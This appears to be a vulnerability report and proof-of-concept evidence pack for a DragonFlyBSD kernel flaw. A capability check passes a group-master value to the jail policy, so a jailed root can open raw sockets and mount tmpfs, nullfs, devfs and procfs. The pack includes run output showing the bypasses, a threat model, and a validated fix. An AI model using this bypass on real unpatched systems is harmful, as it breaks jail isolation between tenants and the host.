DF-0165 — PoC evidence pack

What this is

Demonstrates that caps_priv_check() in sys/kern/kern_caps.c:333-340 mutates its cap argument from the specific capability (e.g. SYSCAP_NONET_RAW = 0x61) to its group-master number (SYSCAP_NONET = 6) before forwarding it to prison_priv_check(), which has case SYSCAP_NONET: return 0 and case SYSCAP_NOMOUNT: return 0. The per-capability switch arms that actually consult the jail policy flags are dead code on this path. Result: a jailed root can do raw socket creation and tmpfs/nullfs/devfs/procfs mounts that the jail policy explicitly forbids.

See VERDICT.md for the full mechanism walkthrough and the line-by-line trace.

Reproduce

./build.sh        # cc -O2 -Wall -o bypass bypass.c
./run.sh          # creates jail with default policy, tries gated actions

Must be run as root on the guest (the test creates+enters a jail). run.sh first echoes the jail default-policy sysctls (proving they are all 0 / restrictive), then runs ./bypass.

Expected output

jail() ok: jid=N  (now jailed as uid=0)
=== DF-0165 demo: cap-gated actions inside jail ===
    (jail default policy: allow_raw_sockets=0,
     vfs_mount_{nullfs,tmpfs,devfs,procfs}=0 -> all should EPERM)
  socket(AF_INET, SOCK_RAW, IPPROTO_RAW)  [SYSCAP_NONET_RAW]
      -> OK fd=3   *** BYPASS ***
  mount("tmpfs",  ...)  [SYSCAP_NOMOUNT_TMPFS]   -> OK   *** BYPASS ***
  mount("null",   ...)  [SYSCAP_NOMOUNT_NULLFS]  -> OK   *** BYPASS ***
  mount("devfs",  ...)  [SYSCAP_NOMOUNT_DEVFS]   -> OK   *** BYPASS ***
  mount("procfs", ...)  [SYSCAP_NOMOUNT_PROCFS]  -> OK   *** BYPASS ***
=== end: 5 cap-gated action(s) bypassed jail policy ===

On a fixed kernel every action returns EPERM instead of OK.

Why the PoC was rewritten

The original (per-finding) PoC snippet was a 4-line shell pseudocode ("from jailed root, run mount/socket"). I implemented it as a real C program (bypass.c) that:

• creates the jail itself (no separate jail(8) setup needed),
• attaches via jail(2) (which auto-attaches per kern_jail_attach at sys/kern/kern_jail.c:227),
• drives each gated action and reports OK / EPERM per action.

Notable gotcha worth recording: the kernel's nullfs fstype is "null", not "nullfs" — get_fscap()'s strncmp("null", fsname, 5) only matches the bare name. Using mount("nullfs", ...) makes the syscall hit a different (default) cap and fail for an unrelated reason; using mount("null", ...) exercises the actual SYSCAP_NOMOUNT_NULLFS path and demonstrates the bypass cleanly.

DF-0165 — caps_priv_check cap-corruption -> jail policy bypass

Verdict: REPRODUCED (5 distinct cap-gated actions bypass jail policy)

Inside a jail created with the default restrictive policy (allow_raw_sockets=0, vfs_mount_{nullfs,tmpfs,devfs,procfs}=0), a jailed root (uid 0) successfully:

1. opens a raw IPv4 socket (socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) — SYSCAP_NONET_RAW
2. mounts tmpfs — SYSCAP_NOMOUNT_TMPFS
3. mounts nullfs — SYSCAP_NOMOUNT_NULLFS (using kernel fstype "null")
4. mounts devfs — SYSCAP_NOMOUNT_DEVFS
5. mounts procfs — SYSCAP_NOMOUNT_PROCFS

On a fixed kernel, each of these returns EPERM because the per-capability jail policy flag is clear. On this build they all succeed, proving the bypass.

Mechanism (root cause confirmed line-by-line)

In sys/kern/kern_caps.c:333-340:

res = caps_check_cred(cred, cap);                       /* :333 */
if (cap & __SYSCAP_GROUP_MASK) {                        /* :334 */
    cap = (cap & __SYSCAP_GROUP_MASK) >> __SYSCAP_GROUP_SHIFT;   /* :335 -- MUTATES cap */
    res |= caps_check_cred(cred, cap);                  /* :336 */
}
if (res & __SYSCAP_SELF)
    return EPERM;
return (prison_priv_check(cred, cap));                  /* :340 -- passes MUTATED cap */

For a per-capability value like SYSCAP_NONET_RAW = __SYSCAP_GROUP_6 | 1 = 0x61:

• :334 cap & __SYSCAP_GROUP_MASK = 0x61 & 0xF0 = 0x60 (truthy)
• :335 cap = (0x61 & 0xF0) >> 4 = 0x6 (= SYSCAP_NONET, the group master)
• :340 prison_priv_check(cred, 0x6) — the specific cap (0x61) is never sent

In prison_priv_check (sys/kern/kern_jail.c:854-978):

case SYSCAP_NONET:                  /* :865-866  group master: ALLOWED */
    return 0;
...
case SYSCAP_NOMOUNT:                /* :872,878  group master: ALLOWED */
    return 0;
...
case SYSCAP_NONET_RAW:              /* :919-927  per-capability check -- DEAD on this path */
    if (PRISON_CAP_ISSET(pr->pr_caps, PRISON_CAP_NET_RAW_SOCKETS)) return 0;
    return EPERM;

The case SYSCAP_NONET_RAW and the case SYSCAP_NOMOUNT_* branches are dead code on the caps_priv_check() path — prison_priv_check always receives the group-master number and matches the unconditional return 0 case, so the per-capability PRISON_CAP_* flag is never consulted.

Encoding reference (sys/sys/caps.h)

__SYSCAP_GROUP_MASK   = 0x000000F0    (bits 4..7)
__SYSCAP_GROUP_SHIFT  = 4
__SYSCAP_XFLAGS       = 0x7FFF0000    (e.g. __SYSCAP_NULLCRED, NOROOTTEST)

Group-0 master caps (these match the "ALLOWED in jail" cases):
  SYSCAP_NONET        = 0x06    -> prison_priv_check returns 0  (allowed)
  SYSCAP_NOMOUNT      = 0x0A    -> prison_priv_check returns 0  (allowed)

Per-capability values (their *specific* switch arms are the real policy):
  SYSCAP_NONET_RAW      = 0x61  -> corrupted to 0x6 -> matches SYSCAP_NONET
  SYSCAP_NOMOUNT_NULLFS = 0xA0  -> corrupted to 0xA -> matches SYSCAP_NOMOUNT
  SYSCAP_NOMOUNT_DEVFS  = 0xA1  -> corrupted to 0xA -> matches SYSCAP_NOMOUNT
  SYSCAP_NOMOUNT_TMPFS  = 0xA2  -> corrupted to 0xA -> matches SYSCAP_NOMOUNT
  SYSCAP_NOMOUNT_FUSE   = 0xA4  -> corrupted to 0xA -> matches SYSCAP_NOMOUNT
  SYSCAP_NOMOUNT_PROCFS = 0xA5  -> corrupted to 0xA -> matches SYSCAP_NOMOUNT

Caller chain (where the bypass matters)

• sys/netinet/raw_ip.c:473 — rip_attach calls caps_priv_check(ai->p_ucred, SYSCAP_NONET_RAW | __SYSCAP_NULLCRED). With cap = 0x00020061, the corruption still reduces it to 6: 0x00020061 & 0xF0 = 0x60, >> 4 = 6.

• sys/kern/vfs_syscalls.c:152-157 — sys_mount calls caps_priv_check_td(td, priv) where priv = get_fscap(fstypename). get_fscap() returns the specific SYSCAP_NOMOUNT_* value, which is corrupted to SYSCAP_NOMOUNT.

Threat model

• Attacker position: jailed root (uid 0 inside a jail).
• What the attacker gets:
• Raw IP sockets despite jail.defaults.allow_raw_sockets=0. Enables packet sniffing, IP-spoofed packet injection, ICMP attacks against other tenants / host.
• Mount nullfs / tmpfs / devfs / procfs inside the jail despite jail.defaults.vfs_mount_*=0. Mounting devfs exposes device nodes; mounting nullfs over a host-visible path bypasses filesystem-level isolation; mounting procfs exposes host process metadata.
• Preconditions: default DragonFlyBSD jail (no special config required).
• Reachability: trivial — socket(AF_INET, SOCK_RAW, IPPROTO_RAW) and mount("tmpfs", target, 0, NULL) from jailed root.

Demonstration

---- jail default policy (should all be 0): ----
jail.defaults.allow_raw_sockets: 0
jail.defaults.vfs_mount_nullfs: 0
jail.defaults.vfs_mount_tmpfs: 0
jail.defaults.vfs_mount_devfs: 0
jail.defaults.vfs_mount_procfs: 0
---- running bypass as root (will create + enter jail): ----
jail() ok: jid=11  (now jailed as uid=0)
=== DF-0165 demo: cap-gated actions inside jail ===
    (jail default policy: allow_raw_sockets=0,
     vfs_mount_{nullfs,tmpfs,devfs,procfs}=0 -> all should EPERM)
  socket(AF_INET, SOCK_RAW, IPPROTO_RAW)  [SYSCAP_NONET_RAW]
      -> OK fd=3   *** BYPASS ***
  mount("tmpfs", /tmp/df0165-mnt-tmpfs)  [SYSCAP_NOMOUNT_TMPFS]
      -> OK   *** BYPASS ***
  mount("null", /tmp/df0165-mnt-nullfs)  [SYSCAP_NOMOUNT_NULLFS]
      -> OK   *** BYPASS ***
  mount("devfs", /tmp/df0165-mnt-devfs)  [SYSCAP_NOMOUNT_DEVFS]
      -> OK   *** BYPASS ***
  mount("procfs", /tmp/df0165-mnt-procfs)  [SYSCAP_NOMOUNT_PROCFS]
      -> OK   *** BYPASS ***
=== end: 5 cap-gated action(s) bypassed jail policy ===

Reproduced 3 times in a row (see run.log, run.2.log, run.3.log); every run yields the same 5 bypasses. The only inter-run difference is the jid= value, which is just an incrementing jail counter.

Notes / minor adjacent issues (not part of DF-0165)

1. get_fscap() in sys/kern/vfs_syscalls.c:5386 matches strncmp("null", fsname, 5), which does NOT match the user-visible fstype "nullfs". The kernel fstype for nullfs is "null" (its vfsconf vfc_name). Anyone calling mount("nullfs", ...) falls through to the SYSCAP_RESTRICTEDROOT default — a separate latent surprise that the PoC works around by using "null".

2. The same corruption affects SYSCAP_NONET_BT_RAW, SYSCAP_NONET_ROUTE, SYSCAP_NONET_IFCONFIG, etc., but those callers either route through a different cap or the action is independently gated. The five actions demonstrated here are the directly observable wins.

Recommended fix (matches the finding's diff)

Don't mutate the cap variable used for the jail lookup. Use a separate local for the group-master test:

--- a/sys/kern/kern_caps.c
+++ b/sys/kern/kern_caps.c
@@ -331,9 +331,10 @@

    res = caps_check_cred(cred, cap);
    if (cap & __SYSCAP_GROUP_MASK) {
-       cap = (cap & __SYSCAP_GROUP_MASK) >> __SYSCAP_GROUP_SHIFT;
-       res |= caps_check_cred(cred, cap);
+       int gcap = (cap & __SYSCAP_GROUP_MASK) >> __SYSCAP_GROUP_SHIFT;
+       res |= caps_check_cred(cred, gcap);
    }
    if (res & __SYSCAP_SELF)
        return EPERM;
-   return (prison_priv_check(cred, cap));
+   return (prison_priv_check(cred, cap));   /* ORIGINAL specific cap */
 }

After the fix, the PoC outputs EPERM for every action when the policy flag is clear (policy honored), and OK when the flag is set (positive policy honored) — the per-capability switch arm at kern_jail.c:919 is now actually reached.

Fix validation (built + booted single-fix kernel)

A single-fix kernel was built from the audit with-src baseline with ONLY fix.diff applied, installed, and booted, then the SAME PoC was re-run against both kernels for a clean before/after comparison.

Kernel identity

Build: cd /usr/src && make -j6 nativekernel KERNCONF=X86_64_GENERIC → === NK_DONE rc=0 === (no error: / Stop in). Full log in fix_build.log.

Before (unpatched #0) — BUG PRESENT (fix_baseline.log)

  socket(AF_INET, SOCK_RAW, IPPROTO_RAW)  [SYSCAP_NONET_RAW]
      -> OK fd=3   *** BYPASS ***
  mount("tmpfs", ...)  [SYSCAP_NOMOUNT_TMPFS]   -> OK   *** BYPASS ***
  mount("null",  ...)  [SYSCAP_NOMOUNT_NULLFS]  -> OK   *** BYPASS ***
  mount("devfs", ...)  [SYSCAP_NOMOUNT_DEVFS]   -> OK   *** BYPASS ***
  mount("procfs",...)  [SYSCAP_NOMOUNT_PROCFS]  -> OK   *** BYPASS ***
=== end: 5 cap-gated action(s) bypassed jail policy ===

After (single-fix #1) — BUG FIXED (fix_run.log)

  socket(AF_INET, SOCK_RAW, IPPROTO_RAW)  -> Operation not permitted (errno=1)  -- correctly denied
  mount("tmpfs", ...)  [SYSCAP_NOMOUNT_TMPFS]  -> Operation not permitted (errno=1)
  mount("null",  ...)  [SYSCAP_NOMOUNT_NULLFS] -> Operation not permitted (errno=1)
  mount("devfs", ...)  [SYSCAP_NOMOUNT_DEVFS]  -> Operation not permitted (errno=1)
  mount("procfs",...)  [SYSCAP_NOMOUNT_PROCFS] -> Operation not permitted (errno=1)
=== end: 0 cap-gated action(s) bypassed jail policy ===

Deterministic across 3 consecutive runs on the patched kernel.

Positive-policy check (per-cap arm actually reached, not blanket-deny)

With jail.defaults.allow_raw_sockets=1 on the patched kernel, the raw socket is correctly ALLOWED (1 bypass in the PoC's accounting, because the policy now permits it) — proving prison_priv_check's case SYSCAP_NONET_RAW: switch arm at kern_jail.c:919 is now reached and honored in both directions, rather than being dead code. The four mount caps stay denied because their flags remain clear.

No regression (non-jailed behavior unchanged)

non-jail raw socket: OK (fd=3 errno=0)
non-jail tmpfs mount: OK (rc=0 errno=0)

Outside a jail prison_priv_check returns 0 immediately at sys/kern/kern_jail.c:851-852, so the specific-vs-group-master distinction is immaterial there — verified by the regression check above.

Fix classification: fixed

Bad behavior (5 bypasses) is present on the unpatched #0 baseline and gone on the single-fix #1 kernel (0 bypasses, all EPERM), with the positive-policy and non-jailed paths still working. The fix closes the bug.

DF-0165 — fix notes (authored post-verification)

What the fix changes

Single file: sys/kern/kern_caps.c, inside caps_priv_check() (lines 333-340).

The bug: the function mutates its cap argument in the group-handling block (line 335), reducing a specific capability (e.g. SYSCAP_NONET_RAW = 0x61) to its group-master number (e.g. SYSCAP_NONET = 6). The mutated value is then forwarded to prison_priv_check() at line 340, where the group-master case SYSCAP_NONET: return 0 / case SYSCAP_NOMOUNT: return (0) unconditionally allow the action — bypassing the per-capability jail policy switch arms (case SYSCAP_NONET_RAW, case SYSCAP_NOMOUNT_*) that actually consult the PRISON_CAP_* flags.

The fix

Do not reuse cap for the group-master bitmask test. Introduce a block-local gcap for the caps_check_cred() group-master self-restriction test, and leave cap holding the original specific capability for the prison_priv_check() call:

res = caps_check_cred(cred, cap);
if (cap & __SYSCAP_GROUP_MASK) {
    int gcap = (cap & __SYSCAP_GROUP_MASK) >> __SYSCAP_GROUP_SHIFT;

    res |= caps_check_cred(cred, gcap);
}
...
return (prison_priv_check(cred, cap));   /* now receives ORIGINAL specific cap */

Why this is correct and minimal

• caps_check_cred(cred, gcap) computes the same value the old code did (the old line 335-336 produced exactly (group-master) then called caps_check_cred with it). The __SYSCAP_SELF self-restriction semantics are therefore unchanged.
• prison_priv_check() itself strips __SYSCAP_XFLAGS before switching (switch (cap & ~__SYSCAP_XFLAGS) at sys/kern/kern_jail.c:854), so forwarding the original cap (which may carry __SYSCAP_NULLCRED etc., as the rip_attach caller does) is the intended contract.
• Non-jailed callers are unaffected: prison_priv_check() returns 0 immediately for non-jailed creds (kern_jail.c:851-852), so passing the specific cap vs. the group-master number is immaterial outside a jail.
• Group-master caps passed directly (e.g. cap = SYSCAP_NONET = 6, for which cap & __SYSCAP_GROUP_MASK == 0 so the if body is skipped) keep exactly their old behavior — prison_priv_check(cred, 6) still hits case SYSCAP_NONET: return 0.

Only the specific caps whose per-capability jail policy is conditional/EPERM while their group master returns 0 (SYSCAP_NONET_RAW, the SYSCAP_NOMOUNT_{NULLFS,DEVFS,TMPFS,PROCFS,FUSE} set) change behavior — and they change from "incorrectly allowed" to "correctly policy-gated", which is exactly the bug being closed.

Validation

• git apply --check findings/poc/DF-0165/fix.diff → clean.
• patch --dry-run -p1 < findings/poc/DF-0165/fix.diff → clean.
• Generated against the read-only sys/ tree; sys/ was not modified.

Relation to the finding markdown proposal

Matches the finding markdown's ## Recommended fix proposal. The only deviation: this diff drops the comment-only edit to the prison_priv_check return line (unnecessary churn) — the cap variable passed there is already the original specific cap once the mutation is removed.